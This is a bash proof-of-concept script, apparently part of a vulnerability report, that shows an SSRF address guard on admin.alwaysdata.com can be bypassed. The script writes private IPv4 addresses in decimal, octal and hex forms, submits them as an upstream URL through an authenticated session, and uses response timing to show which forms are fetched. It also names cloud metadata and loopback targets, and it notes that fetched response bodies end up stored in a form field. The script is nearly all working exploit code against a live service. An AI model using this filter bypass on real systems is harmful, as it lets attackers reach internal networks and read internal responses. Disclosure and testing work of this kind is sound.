#!/bin/bash
# Incomplete fix for FS#401: the SSRF address guard does not normalise alternate IPv4 literal formats.
#
# 10.255.255.1 is unroutable, so a refusal by the guard returns in well under a second while an
# actual connection attempt appears as a ~20s TCP timeout. The dotted quad is refused; the same
# address written as a decimal, octal or hexadecimal integer is not.
#
# The PUBLIC block is the control that rules out "the string is treated as a hostname and DNS times
# out": each notation of a public address is parsed as IPv4, fetched, and its response body stored.
#
# Setup:
#   1. An authenticated admin.alwaysdata.com session in a curl cookie jar.
#   2. An application script object you own. The installation script must start with a shebang
#      followed by commented YAML:
#          #!/bin/bash
#          # site:
#          #   type: custom
#          echo installed
#   3. PUBLIC_URL: any http URL on a host you control, used only for the parsing control.
#
# Usage:
#   JAR=/path/cookies.txt SCRIPT_ID=390 PUBLIC_IP=185.31.41.11 bash poc.sh

set -u
JAR="${JAR:?path to curl cookie jar with an admin.alwaysdata.com session}"
SCRIPT_ID="${SCRIPT_ID:?id of an application script object you own}"
PUBLIC_IP="${PUBLIC_IP:?a public IPv4 you control, dotted quad}"

BASE="https://admin.alwaysdata.com/site/application/script/${SCRIPT_ID}/"
BODY=$'#!/bin/bash\n# site:\n#   type: custom\necho BASELINE'

enc() { # dotted quad -> decimal, octal dotted, hex dotted, hex flat
  IFS=. read -r a b c d <<< "$1"
  printf '%s %s.%s.%s.%s %s.%s.%s.%s 0x%08X\n' \
    "$(( (a<<24)|(b<<16)|(c<<8)|d ))" \
    "0$(printf %o "$a")" "0$(printf %o "$b")" "0$(printf %o "$c")" "0$(printf %o "$d")" \
    "0x$(printf %x "$a")" "0x$(printf %x "$b")" "0x$(printf %x "$c")" "0x$(printf %x "$d")" \
    "$(( (a<<24)|(b<<16)|(c<<8)|d ))"
}

csrf() {
  curl -s -m 25 -b "$JAR" -c "$JAR" "$BASE" \
    | grep -oE "csrfmiddlewaretoken[\"']? value=[\"'][^\"']+" | tail -1 | sed "s/.*value=[\"']//"
}

measure() {
  local uri="$1" label="$2" set_code

  # Re-posting the whole form also resets the script field, so each run starts from the same state.
  set_code=$(curl -s -m 30 -b "$JAR" -c "$JAR" -X POST "$BASE" -H "Referer: $BASE" \
    --data-urlencode "csrfmiddlewaretoken=$(csrf)" \
    --data-urlencode "name=poc" \
    --data-urlencode "url=https://example.org/" \
    --data-urlencode "author_name=poc" \
    --data-urlencode "author_uri=https://example.org/" \
    --data-urlencode "script=$BODY" \
    --data-urlencode "script_upstream_uri=$uri" -o /dev/null -w '%{http_code}')

  if [ "$set_code" != "302" ]; then
    printf '%-34s form rejected the URI (http %s)\n' "$label" "$set_code"
    return
  fi

  printf '%-34s ' "$label"
  curl -s -m 120 -b "$JAR" -c "$JAR" -X POST "${BASE}update_script/" -H "Referer: $BASE" \
    --data-urlencode "csrfmiddlewaretoken=$(csrf)" -o /dev/null -w 'total=%{time_total}s\n'
  sleep 2
}

read -r P_DEC P_OCT P_HEXDOT P_HEXFLAT <<< "$(enc 10.255.255.1)"
read -r U_DEC U_OCT U_HEXDOT U_HEXFLAT <<< "$(enc "$PUBLIC_IP")"

echo "CONTROLS: canonical forms the guard does catch (all sub-second, no connection)"
measure "http://127.0.0.1/"                   "loopback dotted"
measure "http://192.168.0.1:8080/"            "rfc1918 192.168"
measure "http://172.16.0.1:8080/"             "rfc1918 172.16"
measure "http://169.254.169.254/"             "link-local"
measure "http://[::1]/"                       "IPv6 loopback"
measure "http://[fd00:dead:beef:0:0:0:0:1]:8080/" "IPv6 ULA expanded"

echo
echo "PRIVATE 10.255.255.1:8080 (unroutable). refuse is sub-second, connect is ~20s"
measure "http://10.255.255.1:8080/"   "dotted quad, refused as designed"
measure "http://${P_DEC}:8080/"       "decimal"
measure "http://${P_OCT}:8080/"       "octal dotted"
measure "http://${P_HEXDOT}:8080/"    "hex dotted"
measure "http://${P_HEXFLAT}:8080/"   "hex flat"

echo
echo "PUBLIC ${PUBLIC_IP} control: each notation is parsed as IPv4 and actually fetched"
measure "http://${PUBLIC_IP}/"        "dotted quad"
measure "http://${U_DEC}/"            "decimal"
measure "http://${U_OCT}/"            "octal dotted"
measure "http://${U_HEXDOT}/"         "hex dotted"
measure "http://${U_HEXFLAT}/"        "hex flat"
echo
echo "Read the installation script field after each PUBLIC run: it holds the fetched response body."
